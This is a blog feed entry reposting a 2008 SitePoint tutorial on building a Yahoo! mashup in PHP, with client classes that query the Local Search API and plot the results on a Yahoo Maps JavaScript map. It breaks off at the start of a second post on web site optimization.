/&gt;$api-&gt;setAppID('your-app-id-here');&lt;br /&gt;$api-&gt;setService('http://api.search.yahoo.com/WebSearch&lt;br /&gt;Service/V1/'.&lt;br /&gt;'webSearch');&lt;br /&gt;$api-&gt;setParam('output','php');&lt;br /&gt;$api-&gt;setParam('query','SitePoint');&lt;br /&gt;$api-&gt;setParam('results','2');&lt;br /&gt;$output = $api-&gt;doAPICall();&lt;br /&gt;This is exactly the same as the previous search example, except that now we use the client class. In this case, using&lt;br /&gt;the class is more verbose, but with more complex and repeated calls to the API, using the class can save time and&lt;br /&gt;simplify maintenance.&lt;br /&gt;Manipulating Data from API Calls&lt;br /&gt;Now that we have everything we need to get to work, I'll show you how to easily manipulate data from the Yahoo!&lt;br /&gt;APIs.&lt;br /&gt;Let's use our new YahooAPI class to search for 'Pizza' in 'Palo Alto, CA' using the Local Search API. Take a look at&lt;br /&gt;the documentation page [28] for the latest version of the local search API. This is the base URL for the service:&lt;br /&gt;http://local.yahooapis.com/Local&lt;br /&gt;SearchService/V3/localSearch&lt;br /&gt;So we'll call the setService method of the YahooAPI class and give it the base URL. Looking through the&lt;br /&gt;request parameters in the documentation, we'll need to submit the 'appid', 'query' and 'location'&lt;br /&gt;parameters. After we set the required application ID, we then need to choose a location -- we'll use a city and state&lt;br /&gt;for now -- and a query. Let's say we're searching for 'Pizza' in 'Palo Alto, CA'. In simple, procedural PHP code&lt;br /&gt;using the YahooAPI class, the search would look something like this:&lt;br /&gt;$api = new YahooAPI();&lt;br /&gt;$api-&gt;setService('http://local.yahooapis.com/LocalSearch&lt;br /&gt;Service/V3/'.&lt;br /&gt;'localSearch');&lt;br /&gt;$api-&gt;setAppID('your-app-id-here');&lt;br /&gt;$api-&gt;setParam('output','php');&lt;br /&gt;$api-&gt;setParam('query','pizza');&lt;br /&gt;$api-&gt;setParam('location','Palo Alto, CA');&lt;br /&gt;$output = $api-&gt;doAPICall();&lt;br /&gt;The call to the API here is the same as fetching&lt;br /&gt;http://local.yahooapis.com/LocalSearch&lt;br /&gt;Service/V3/localSearch?appid=your-app-id-here&amp;&lt;br /&gt;query=pizza&amp;location=Palo+Alto,+CA&lt;br /&gt;through any method, so take a look at that URL in your web browser. Clearly the information we're looking for is&lt;br /&gt;Whip Up a Yahoo! Mashup Using PHP http://www.sitepoint.com/print/yahoo-mashup-php&lt;br /&gt;7 of 16 2/17/2008 10:16 PM&lt;br /&gt;within each &lt;Result&gt; node, and all &lt;Result&gt; nodes are within one big &lt;ResultSet&gt; node. The PHP&lt;br /&gt;version that we're fetching has exactly the same structure as the XML, except that it's in an easily usable array.&lt;br /&gt;After fetching all that data into the $output variable, all we have to do is iterate over the&lt;br /&gt;$output['ResultSet']['Result'] elements and fetch the data we need. Try it out -- add the&lt;br /&gt;following code after the previous example and run it on your web server:&lt;br /&gt;foreach($output['ResultSet']['Result'] as $result) {&lt;br /&gt;echo $result['Title'].'&lt;br/&gt;';&lt;br /&gt;}&lt;br /&gt;You should receive something like the following output:&lt;br /&gt;Patxi's Chicago Pizza&lt;br /&gt;Papa Murphys Pizza Take &amp; Bake&lt;br /&gt;New York Pizza&lt;br /&gt;Round Table Pizza Palo Alto&lt;br /&gt;Domino's Pizza&lt;br /&gt;California Pizza Kitchen&lt;br /&gt;Pizza My Heart&lt;br /&gt;Ramonas Pizza&lt;br /&gt;Round Table Pizza Palo Alto&lt;br /&gt;Spot A Pizza&lt;br /&gt;LocalSearch Client Class in PHP 5&lt;br /&gt;Now let's extend the YahooAPI class to query the Yahoo! Local Search API. We can easily create a class that&lt;br /&gt;manages all this work for us. Instead of the previous procedural code, if we extend the YahooAPI class and&lt;br /&gt;create some appropriately-named methods -- for example locationSearch($query, $location) --&lt;br /&gt;we can further simplify the process of interacting with the APIs.&lt;br /&gt;I've written an example class that generally covers everything we need for interacting with the Local Search API.&lt;br /&gt;It has three main methods: locationSearch, positionSearch and extractResults. Here's the&lt;br /&gt;code:&lt;br /&gt;&lt;?php&lt;br /&gt;require_once('yahooapi.class.php');&lt;br /&gt;class LocalSearch extends YahooAPI&lt;br /&gt;{&lt;br /&gt;The constructor method sets the basic properties we'll always need for each Local Search API request:&lt;br /&gt;public function __construct()&lt;br /&gt;{&lt;br /&gt;$this-&gt;setParam('output','php');&lt;br /&gt;$this-&gt;setService('http://local.yahooapis.com/'.&lt;br /&gt;'LocalSearchService/V3/localSearch');&lt;br /&gt;$this-&gt;setAppID('your-app-id-here');&lt;br /&gt;}&lt;br /&gt;The two search methods represent different ways of performing a search, depending on whether or not we have a&lt;br /&gt;Whip Up a Yahoo! Mashup Using PHP http://www.sitepoint.com/print/yahoo-mashup-php&lt;br /&gt;8 of 16 2/17/2008 10:16 PM&lt;br /&gt;location name or exact GPS coordinates. They simply set the required parameters and call the doAPICall&lt;br /&gt;method of the parent YahooAPI class:&lt;br /&gt;public function locationSearch($query,$in_location)&lt;br /&gt;{&lt;br /&gt;$this-&gt;setParam('query',$query);&lt;br /&gt;$this-&gt;setParam('location',$in_location);&lt;br /&gt;return $this-&gt;doAPICall();&lt;br /&gt;}&lt;br /&gt;public function positionSearch($lat,$long)&lt;br /&gt;{&lt;br /&gt;$this-&gt;setParam('query','*');&lt;br /&gt;$this-&gt;setParam('latitude',$lat);&lt;br /&gt;$this-&gt;setParam('longitude',$long);&lt;br /&gt;return $this-&gt;doAPICall();&lt;br /&gt;}&lt;br /&gt;The extractResults method saves us entering ['ResultSet']['Result'] all the time when we&lt;br /&gt;want to output the results, because the data we need will always be within that part of the returned array:&lt;br /&gt;public function extractResults()&lt;br /&gt;{&lt;br /&gt;$return = $this-&gt;getResults();&lt;br /&gt;$return = $return['ResultSet']['Result'];&lt;br /&gt;return $return;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;You'll find a copy of the code in the archive for the article [29]. Keep it handy because we'll be using it in our&lt;br /&gt;example mashup. We'll also build a similar class for the Maps API later, as it has some slightly different&lt;br /&gt;requirements.&lt;br /&gt;Our example "pizza" search, executed using our new LocalSearch class, now looks like this:&lt;br /&gt;require_once('localsearch.class.php');&lt;br /&gt;$localSearch = new LocalSearch();&lt;br /&gt;$localSearch-&gt;locationSearch('Pizza','Palo Alto, CA');&lt;br /&gt;$output = $localSearch-&gt;extractResults();&lt;br /&gt;That's much easier, don't you think?&lt;br /&gt;Yahoo! Maps [30] API&lt;br /&gt;Perform a quick web search and you could find the web sites for these pizza places, each of which would list the&lt;br /&gt;restaurant's address. But why would you go to all that trouble when Yahoo! provides all this data in the returned&lt;br /&gt;array -- as well as latitude and longitude information? Here's an example of the data returned:&lt;br /&gt;AJAX&lt;br /&gt;Whip Up a Yahoo! Mashup Using PHP http://www.sitepoint.com/print/yahoo-mashup-php&lt;br /&gt;9 of 16 2/17/2008 10:16 PM&lt;br /&gt;[Title] =&gt; Patxi's Chicago Pizza&lt;br /&gt;[Address] =&gt; 441 Emerson St&lt;br /&gt;[City] =&gt; Palo Alto&lt;br /&gt;[State] =&gt; CA&lt;br /&gt;[Phone] =&gt; (650) 473-9999&lt;br /&gt;[Latitude] =&gt; 37.445265&lt;br /&gt;[Longitude] =&gt; -122.163432&lt;br /&gt;Now that we have the location information, we need to figure out how to plot it on a map. Yahoo! provides a map&lt;br /&gt;image API [31], offering raw images of maps in PNG format, and (in theory) we could use GD to draw markers on&lt;br /&gt;the map. However, since we're building a web application, we can instead use the Maps AJAX API [32] to&lt;br /&gt;generate a [33]-friendly, interactive Yahoo! maps display. We can then add markers to the map in preset&lt;br /&gt;positions, using the bundled functions. (Note that the Maps AJAX API isn't really an Ajax API! In fact, there isn't&lt;br /&gt;any real Ajax at all -- that is, there are no XMLHttpRequest calls -- but due to the fact that the term Ajax has come&lt;br /&gt;to represent any web page technology that uses [34] and doesn't need to reload the web page to update&lt;br /&gt;itself, Ajax would be the best way to describe it.)&lt;br /&gt;Unlike the other Yahoo! APIs, the Maps AJAX API isn't a REST-based web service. Instead, you have to include a&lt;br /&gt;JavaScript file on your page, create an instance of the map in a container on the page (usually a &lt;div&gt;) and&lt;br /&gt;manipulate it through JavaScript calls. Luckily, the HTML and JavaScript required are quite simple. Take a look&lt;br /&gt;at the mapoutput.php example in the code archive [35]. This is all the JavaScript you'll need to generate the&lt;br /&gt;map:&lt;br /&gt;var ymap = new YMap(document.getElementById('mC'),YAHOO_MAP_REG);&lt;br /&gt;var mPoint = new YGeoPoint(37.4041960114344,-122.008194923401);&lt;br /&gt;ymap.drawZoomAndCenter(mPoint, 3);&lt;br /&gt;var marker = new YMarker(mPoint);&lt;br /&gt;marker.addLabel('A');&lt;br /&gt;marker.addAutoExpand('&lt;div class="mp"&gt;Some Text&lt;/div&gt;');&lt;br /&gt;ymap.addOverlay(marker);&lt;br /&gt;The first line creates a new instance of the YMap class, and assigns it to the element on the page with an ID of&lt;br /&gt;'mC'. The second argument represents the desired map type, in this case a regular map rather than satellite&lt;br /&gt;imagery, YAHOO_MAP_SAT, or a hybrid of the two, YAHOO_MAP_HYB. The second line creates a&lt;br /&gt;YGeoPoint object, a point on the map based on latitude and longitude coordinates, while the third line calls&lt;br /&gt;the map object and tells it to centre itself on this new point and display the map, at a zoom level of 3.&lt;br /&gt;The final three lines of JavaScript create a YMarker object, a visual map marker that expands to reveal some&lt;br /&gt;extra content when it's moused over. Our challenge is to generate all this with PHP, and to make the job easy,&lt;br /&gt;we're going to build a class that generates all the code for us.&lt;br /&gt;Mashup Time!&lt;br /&gt;Now that we've sorted out how to query the APIs and deal with the data, it's mashup time! As I mentioned before,&lt;br /&gt;we'll create a simple application that finds places with the local search API and, using the latitude and longitude&lt;br /&gt;coordinates from the returned search data, marks the exact locations of these places on a map from the maps API.&lt;br /&gt;And of course we'll wrap all the functionality up in a simple PHP class. The AJAX map API uses JavaScript code,&lt;br /&gt;so we'll use our PHP class to generate the required JavaScript based on the returned search data.&lt;br /&gt;UI&lt;br /&gt;JavaScript&lt;br /&gt;Whip Up a Yahoo! Mashup Using PHP http://www.sitepoint.com/print/yahoo-mashup-php&lt;br /&gt;10 of 16 2/17/2008 10:16 PM&lt;br /&gt;First, we'll start by querying the Maps API. I'll use the client class for the local search API, which I demonstrated&lt;br /&gt;earlier, to execute this sample query: 'Pizza' in 'Palo Alto, CA'. We need an instance of the LocalSearch class,&lt;br /&gt;and we'll use its locationSearch method to execute the API query. The extractResults method will give us&lt;br /&gt;the data that we want to work with. Now that we've built our client classes, all this can be achieved in three lines&lt;br /&gt;of code:&lt;br /&gt;$localSearch = new LocalSearch();&lt;br /&gt;$localSearch-&gt;locationSearch('Pizza','Palo Alto, CA');&lt;br /&gt;$apiOutput = $localSearch-&gt;extractResults();&lt;br /&gt;Let's take a step back for a moment and call print_r($apiOutput) to see what we have. The array&lt;br /&gt;$apiOutput now contains a number of sub- [36], each of which is a single search result and contains&lt;br /&gt;(among other things) a 'Title', 'Latitude' and 'Longitude'. That's all we need for the moment, so let's quickly&lt;br /&gt;extract this information and delete the rest:&lt;br /&gt;foreach($apiOutput as $id =&gt; $result)&lt;br /&gt;{&lt;br /&gt;$points[$id] = array($result['Title'],&lt;br /&gt;$result['Latitude'],&lt;br /&gt;$result['Longitude']);&lt;br /&gt;}&lt;br /&gt;Here are some sample values from our newly defined $points array:&lt;br /&gt;[0] =&gt; Array&lt;br /&gt;(&lt;br /&gt;[0] =&gt; Patxi's Chicago Pizza&lt;br /&gt;[1] =&gt; 37.445265&lt;br /&gt;[2] =&gt; -122.163432&lt;br /&gt;)&lt;br /&gt;[1] =&gt; Array&lt;br /&gt;(&lt;br /&gt;[0] =&gt; Papa Murphys Pizza Take &amp; Bake&lt;br /&gt;[1] =&gt; 37.433243&lt;br /&gt;[2] =&gt; -122.129291&lt;br /&gt;)&lt;br /&gt;For each marker we want to put on our map, we need to know its position, and we need some summary text that&lt;br /&gt;we can have appear when the user mouses over it. In this case, when visitors mouse over one of our markers, we'll&lt;br /&gt;show them the name of the place.&lt;br /&gt;Now that we have all our locality information, we come to the tricky bit -- generating the map HTML and&lt;br /&gt;JavaScript. Basically, our map code consists of two distinct sections -- the &lt;head&gt; HTML and [37] (for the&lt;br /&gt;map container), and the &lt;body&gt; HTML and JavaScript. The &lt;body&gt; includes the container &lt;div&gt; for the&lt;br /&gt;map and some JavaScript for the Maps AJAX API. For each marker we want to add to the map, we need a&lt;br /&gt;JavaScript YGeoPoint object to define its position, and a YMarker object to be the marker itself. We then&lt;br /&gt;customise the marker through the addLabel and addAutoExpand methods (many more are documented&lt;br /&gt;here [38]) before placing it on the map using the map object's addOverlay method. We'll now create a PHP&lt;br /&gt;arrays&lt;br /&gt;CSS&lt;br /&gt;Whip Up a Yahoo! Mashup Using PHP http://www.sitepoint.com/print/yahoo-mashup-php&lt;br /&gt;11 of 16 2/17/2008 10:16 PM&lt;br /&gt;class that takes care of generating all of this JavaScript code, and call it AjaxMap.&lt;br /&gt;Here's a summary of the methods our class will have:&lt;br /&gt;getHeadHTML for generating &lt;head&gt; code&lt;br /&gt;getMapScript for generating &lt;body&gt; code&lt;br /&gt;initMarker for generating code for each marker&lt;br /&gt;We'll also add some helper methods for customising the map:&lt;br /&gt;setMapType for choosing between maps, satellite images, and hybrids&lt;br /&gt;setMapContainer for setting the ID of the map container &lt;div&gt;&lt;br /&gt;addMarker for adding markers to the map&lt;br /&gt;Let's begin our AjaxMap class:&lt;br /&gt;&lt;?php&lt;br /&gt;require_once('yahooapi.class.php');&lt;br /&gt;class AjaxMap&lt;br /&gt;{&lt;br /&gt;private $mapContainer;&lt;br /&gt;private $mapType;&lt;br /&gt;private $markers = array();&lt;br /&gt;public $showZoom;&lt;br /&gt;public $showPan;&lt;br /&gt;We begin by including the YahooAPI class, which we'll use to generate the Yahoo! API calls. Our class has three&lt;br /&gt;private properties: $mapContainer will contain the ID of the HTML element acting as the map container,&lt;br /&gt;$mapType will represent the type of map desired and must be one of YAHOO_MAP_REG, YAHOO_MAP_SAT&lt;br /&gt;or YAHOO_MAP_HYB, and the final private property, $markers will contain an array of map location&lt;br /&gt;markers. The API offers the ability to add zoom and pan controls, so we'll add the public properties $showZoom&lt;br /&gt;and $showPan, which can be set to true when required.&lt;br /&gt;So, first to the easy methods: getHeadHTML, the set functions and addMarker. All the getHeadHTML&lt;br /&gt;method needs to do is return a &lt;script&gt; tag referencing the Yahoo! AJAX Map API:&lt;br /&gt;public function getHeadHTML()&lt;br /&gt;{&lt;br /&gt;return '&lt;script type="text/javascript" '.&lt;br /&gt;'src="http/api.maps.yahoo.com/ajaxymap?v=3.0&amp;appid=your-app&lt;br /&gt;-id-here"&gt;'.&lt;br /&gt;"&lt;/script&gt;\n";&lt;br /&gt;}&lt;br /&gt;The set functions are just as simple -- they act as wrapper methods for modifying private properties. Here's the&lt;br /&gt;code:&lt;br /&gt;public function setMapContainer($id)&lt;br /&gt;{&lt;br /&gt;$this-&gt;mapContainer = $id;&lt;br /&gt;Whip Up a Yahoo! Mashup Using PHP http://www.sitepoint.com/print/yahoo-mashup-php&lt;br /&gt;12 of 16 2/17/2008 10:16 PM&lt;br /&gt;}&lt;br /&gt;public function setMapType($type)&lt;br /&gt;{&lt;br /&gt;$this-&gt;mapType = $type;&lt;br /&gt;}&lt;br /&gt;The addMarker method will add a new map marker entry to the private $markers array and takes a latitude&lt;br /&gt;value, a longitude value and description text as its arguments:&lt;br /&gt;public function addMarker($lat,$long,$descr)&lt;br /&gt;{&lt;br /&gt;$this-&gt;markers[] = array($lat,$long,$descr);&lt;br /&gt;}&lt;br /&gt;initMarker is a private method called for each of the desired map markers and generates the JavaScript code&lt;br /&gt;required for the marker:&lt;br /&gt;private function initMarker($id,$lat,$long,$descr,$init_geo = TRUE)&lt;br /&gt;{&lt;br /&gt;$js = '';&lt;br /&gt;if($init_geo) $js .= "\nvar mPoint$id = ".&lt;br /&gt;"new YGeoPoint($lat,$long);\n";&lt;br /&gt;$js .= "var currmarker = new YMarker(mPoint$id);\n";&lt;br /&gt;$js .= "currmarker.addLabel('$id');\n";&lt;br /&gt;$js .= "currmarker.addAutoExpand('&lt;div class=\"mp\"&gt;".&lt;br /&gt;addslashes($descr)."&lt;/div&gt;');\n";&lt;br /&gt;$js .= "ymap.addOverlay(currmarker);\n\n";&lt;br /&gt;return $js;&lt;br /&gt;}&lt;br /&gt;initMarker takes all the information about the marker -- latitude and longitude for position, a short&lt;br /&gt;description and some notes, plus a unique 'id' parameter -- and generates the JavaScript we need in order to&lt;br /&gt;draw the marker. The $init_geo parameter for initMarker indicates whether or not we need to create a&lt;br /&gt;YGeoPoint object for the marker; this may already have been done.&lt;br /&gt;All that's left to do is bring everything together within the main JavaScript block. The getMapScript method&lt;br /&gt;will generate this JavaScript and assign it to the $js variable:&lt;br /&gt;public function getMapScript()&lt;br /&gt;{&lt;br /&gt;$js = '';&lt;br /&gt;First, we have to initialise a YMap object. This is our main map object which will handle the drawing and&lt;br /&gt;customisation of the map. The first part is simple -- we output the code required to create a new YMap object:&lt;br /&gt;$js .= 'var ymap = new YMap(document.getElementById(\''.&lt;br /&gt;$this-&gt;mapContainer.'\'),'.$this-&gt;mapType.");\n";&lt;br /&gt;In this instance, the properties $mapContainer and $mapType include the relevant information about the&lt;br /&gt;map, so setMapType and setMapContainer should be called before getMapScript.&lt;br /&gt;Whip Up a Yahoo! Mashup Using PHP http://www.sitepoint.com/print/yahoo-mashup-php&lt;br /&gt;13 of 16 2/17/2008 10:16 PM&lt;br /&gt;Next, we output the JavaScript to add the zoom and pan controls if $showZoom and $showPan are set to&lt;br /&gt;true. To add a zoom control in JavaScript, we use the addZoomShort method of the YMap object, and&lt;br /&gt;addPanControl for a pan control:&lt;br /&gt;if($this-&gt;showZoom) $js .= "ymap.addZoomShort();\n";&lt;br /&gt;if($this-&gt;showPan) $js .= "ymap.addPanControl();\n";&lt;br /&gt;We may have a number of markers to display, but the map can only be centred on one of them. To keep it simple,&lt;br /&gt;we'll remove the last marker from the main set of markers, centre the map on it and draw it on the map before&lt;br /&gt;proceeding to draw the remaining markers. Obviously, none of this is needed if no markers are to be drawn on&lt;br /&gt;the map, so we check that markers exist here too. Here's the code that outputs the JavaScript required for&lt;br /&gt;centring the map on the last marker, and drawing that marker:&lt;br /&gt;if(count($this-&gt;markers) &gt; 0)&lt;br /&gt;{&lt;br /&gt;$lastmarker = array_pop($this-&gt;markers);&lt;br /&gt;$js .= 'var mPoint'.count($this-&gt;markers).' = new YGeoPoint('.&lt;br /&gt;$lastmarker[0].','.$lastmarker[1].");\n";&lt;br /&gt;$js .= 'ymap.drawZoomAndCenter(mPoint'.count($this-&gt;markers).&lt;br /&gt;", 3);\n";&lt;br /&gt;$js .= $this-&gt;initMarker(count($this-&gt;markers), $lastmarker[0],&lt;br /&gt;$lastmarker[1], $lastmarker[2],&lt;br /&gt;FALSE);&lt;br /&gt;First we check if there are more than 0 markers (that is, we see if any have been set), and if so, extract the last of&lt;br /&gt;these markers and use that marker's data to write the JavaScript required to create a new YGeoPoint object.&lt;br /&gt;We then output the JavaScript required to draw the map, centre it on our last marker and set the zoom level to 3.&lt;br /&gt;In JavaScript, we do this via the drawZoomAndCenter method of the YMap object. We then call our&lt;br /&gt;initMarker function to generate the rest of the JavaScript, and through its last parameter, tell it not to output&lt;br /&gt;the JavaScript to create a YGeoPoint object, as we've already taken care of it.&lt;br /&gt;Finally, we generate the code for each remaining marker by quickly iterating over the markers array, calling&lt;br /&gt;initMarker for each one and returning the $js string variable:&lt;br /&gt;foreach($this-&gt;markers as $id=&gt;$obj)&lt;br /&gt;{&lt;br /&gt;$js .= $this-&gt;initMarker($id,$obj[0],$obj[1],$obj[2],TRUE);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;return $js;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;That also represents the end of our AjaxMap class!&lt;br /&gt;Now we just have to use our local search class and AjaxMap class in a proper application. I've put together a&lt;br /&gt;quick demonstration. First we need to include our two classes:&lt;br /&gt;Whip Up a Yahoo! Mashup Using PHP http://www.sitepoint.com/print/yahoo-mashup-php&lt;br /&gt;14 of 16 2/17/2008 10:16 PM&lt;br /&gt;&lt;?php&lt;br /&gt;require_once('localsearch.class.php');&lt;br /&gt;require_once('ajaxmap.class.php');&lt;br /&gt;Next, we use our local search class to search for "pizza". We collect the locations from our search results and store&lt;br /&gt;them in an array called $points:&lt;br /&gt;$localSearch = new LocalSearch();&lt;br /&gt;$localSearch-&gt;locationSearch('Pizza','Palo Alto, CA');&lt;br /&gt;$apiOutput = $localSearch-&gt;extractResults();&lt;br /&gt;foreach($apiOutput as $id =&gt; $result)&lt;br /&gt;{&lt;br /&gt;$points[$id] = array($result['Title'],&lt;br /&gt;$result['Latitude'],&lt;br /&gt;$result['Longitude']);&lt;br /&gt;}&lt;br /&gt;unset($apiOutput);&lt;br /&gt;We then create a new AjaxMaps object and add to it all our locations:&lt;br /&gt;$ajaxMap = new AjaxMap();&lt;br /&gt;$ajaxMap-&gt;setMapContainer('mC');&lt;br /&gt;$ajaxMap-&gt;setMapType('YAHOO_MAP_REG');&lt;br /&gt;$ajaxMap-&gt;showPan = true;&lt;br /&gt;$ajaxMap-&gt;showZoom = true;&lt;br /&gt;foreach($points as $point)&lt;br /&gt;{&lt;br /&gt;$ajaxMap-&gt;addMarker($point[1],$point[2],$point[0]);&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;Now that all our location markers have been added to our AjaxMap object, the only task that's left to do is write&lt;br /&gt;the page HTML and output the JavaScript:&lt;br /&gt;&lt;!DOCTYPE html public "-// [39]//DTD [40] 1.0 Transitional//EN"&lt;br /&gt;"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;&lt;br /&gt;&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;?php echo $ajaxMap-&gt;getHeadHTML(); ?&gt;&lt;br /&gt;&lt;style&gt;&lt;br /&gt;#mC {&lt;br /&gt;height: 500px;&lt;br /&gt;width: 500px;&lt;br /&gt;}&lt;br /&gt;.mp {&lt;br /&gt;width:160px;&lt;br /&gt;height:50px;&lt;br /&gt;W3C XHTML&lt;br /&gt;Whip Up a Yahoo! Mashup Using PHP http://www.sitepoint.com/print/yahoo-mashup-php&lt;br /&gt;15 of 16 2/17/2008 10:16 PM&lt;br /&gt;}&lt;br /&gt;&lt;/style&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;&lt;div id="mC"&gt;&lt;/div&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt;&lt;br /&gt;&lt;?php echo $ajaxMap-&gt;getMapScript(); ?&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;The entire script is available in the code archive. Set your application IDs, load it up on your web server, and with&lt;br /&gt;any luck you should see something like this:&lt;br /&gt;Congratulations! You've just built a mashup using the Yahoo! APIs. With a bit of tweaking, you could add search&lt;br /&gt;functionality, allowing the user to look for more than just 'Pizza' in 'Palo Alto, CA'. You could even integrate the&lt;br /&gt;functionality into an existing application (although be aware of the terms of use for both APIs). The possibilities&lt;br /&gt;are endless.&lt;br /&gt;Where to From Here?&lt;br /&gt;As you can see, exploiting the Yahoo! APIs with PHP5 to create useful mashups is a piece of cake, and there are&lt;br /&gt;many interesting applications that can be built with the data. Rasmus Lerdorf himself has written a similar article&lt;br /&gt;[41], taking a more in depth look at the Yahoo! Geocoding API, and how to easily use it with PHP5. It's also worth&lt;br /&gt;noting that while we've used the output=php parameter throughout this article, most of the APIs also offer&lt;br /&gt;JSON output for use via Ajax. The Yahoo! Developer Network's PHP Developer Center [42] has an excellent&lt;br /&gt;collection of tutorials, code samples and other resources for consuming the APIs with PHP5.&lt;br /&gt;Also check out Yahoo's Application Gallery [43] for inspiration and to see some great web apps built with various&lt;br /&gt;Yahoo! APIs, If you build an interesting application, submit it to the gallery for some excellent exposure and&lt;br /&gt;useful feedback.&lt;br /&gt;Update: The Zend PHP Framework also includes a collection of similar [44] interfaces for the&lt;br /&gt;Yahoo! APIs, which in many cases may be preferable to developing your own classes. The interfaces lie within the&lt;br /&gt;object-oriented&lt;br /&gt;Whip Up a Yahoo! Mashup Using PHP http://www.sitepoint.com/print/yahoo-mashup-php&lt;br /&gt;16 of 16 2/17/2008 10:16 PM&lt;br /&gt;framework's Zend_Service package [45].&lt;br /&gt;Back to SitePoint.com&lt;br /&gt;[1] /glossary.php?q=P#term_1&lt;br /&gt;[2] http://en.wikipedia.org/wiki/Web_services&lt;br /&gt;[3] http://www.sitepoint.com/subcat/php-tutorials/&lt;br /&gt;[4] http://developer.yahoo.com/&lt;br /&gt;[5] http://developer.yahoo.com/search&lt;br /&gt;[6] http://developer.yahoo.com/maps/&lt;br /&gt;[7] http://developer.yahoo.com/answers/&lt;br /&gt;[8] http://del.icio.us/help/api/&lt;br /&gt;[9] http://developer.yahoo.com/flickr/&lt;br /&gt;[10] http://upcoming.yahoo.com/services/api/&lt;br /&gt;[11] http://www.flickr.com/services/&lt;br /&gt;[12] http://labs.systemone.at/retrievr/&lt;br /&gt;[13] http://runningmap.com/&lt;br /&gt;[14] http://www.langreiter.com/exec/yahoo-vs-google.html&lt;br /&gt;[15] http://search.yahooapis.com/webservices/register_application&lt;br /&gt;[16] http://en.wikipedia.org/wiki/REST&lt;br /&gt;[17] /glossary.php?q=X#term_3&lt;br /&gt;[18]&lt;br /&gt;http://api.search.yahoo.com/WebSearchService/V1/webSearch?appid=YahooDemo&amp;query=SitePoint&amp;results=2&lt;br /&gt;[19] http://php.net/unserialize&lt;br /&gt;[20] http://php.net/file_get_contents/&lt;br /&gt;[21] /glossary.php?q=%23#term_72&lt;br /&gt;[22] http://rollyo.com&lt;br /&gt;[23] http://developer.yahoo.com/search/rest.html&lt;br /&gt;[24] http://php.net/urlencode&lt;br /&gt;[25] /glossary.php?q=O#term_10&lt;br /&gt;[26] http://php.net/manual/en/ref.http.php&lt;br /&gt;[27] http://www.sitepoint.com/examples/yahooapi/YahooAPIarchive.zip&lt;br /&gt;[28] http://developer.yahoo.com/search/local/V3/localSearch.html&lt;br /&gt;[29] http://www.sitepoint.com/examples/yahooapi/YahooAPIarchive.zip&lt;br /&gt;[30] /glossary.php?q=A#term_73&lt;br /&gt;[31] http://developer.yahoo.com/maps/rest/V1/mapImage.html&lt;br /&gt;[32] http://developer.yahoo.com/maps/ajax/index.html&lt;br /&gt;[33] /glossary.php?q=U#term_67&lt;br /&gt;[34] /glossary.php?q=J#term_9&lt;br /&gt;[35] http://www.sitepoint.com/examples/yahooapi/YahooAPIarchive.zip&lt;br /&gt;[36] /glossary.php?q=%23#term_72&lt;br /&gt;[37] /glossary.php?q=C#term_8&lt;br /&gt;[38] http://developer.yahoo.com/maps/ajax/V3/reference.html#YMarker&lt;br /&gt;[39] /glossary.php?q=W#term_49&lt;br /&gt;[40] /glossary.php?q=X#term_63&lt;br /&gt;[41] http://toys.lerdorf.com/archives/35-GeoCool!.html&lt;br /&gt;[42] http://developer.yahoo.com/php/&lt;br /&gt;[43] http://gallery.yahoo.com/&lt;br /&gt;[44] /glossary.php?q=O#term_10&lt;br /&gt;[45] http://framework.zend.com/manual/en/zend.service.yahoo.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-3716246019472945881?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/3716246019472945881/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=3716246019472945881&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/3716246019472945881'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/3716246019472945881'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/whip-up-yahoo-mashup-using-php.html' title='Whip Up a Yahoo! Mashup Using PHP'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-5973194520843129703</id><published>2008-03-21T03:01:00.000-07:00</published><updated>2008-03-21T03:04:16.960-07:00</updated><title type='text'>Web Site Optimization: 13 Simple Steps </title><content type='html'>This tutorial takes a practical, example-based approach to implementing those rules.&lt;br /&gt;It's targeted towards web developers with a small budget, who are most likely using&lt;br /&gt;shared hosting, and working under the various restrictions that come with such a&lt;br /&gt;setup. Shared hosts make it harder to play with [2] configuration -- sometimes&lt;br /&gt;it's even impossible -- so we'll take a look at what you can do, given certain common&lt;br /&gt;restrictions, and assuming your host runs [3] and Apache.&lt;br /&gt;The tutorial is divided into four parts:&lt;br /&gt;1. basic optimization rules&lt;br /&gt;2. optimizing assets (images, scripts, and styles)&lt;br /&gt;3. optimizations specific to scripts&lt;br /&gt;4. optimizations specific to styles&lt;br /&gt;Credits and Suggested Reading&lt;br /&gt;The article is not going to explain Yahoo!'s performance rules in detail, so you'd do well&lt;br /&gt;to read through them on your own for a better understanding of their importance, the&lt;br /&gt;reasoning behind the rules, and how they came to be. Here's the list of rules in&lt;br /&gt;question:&lt;br 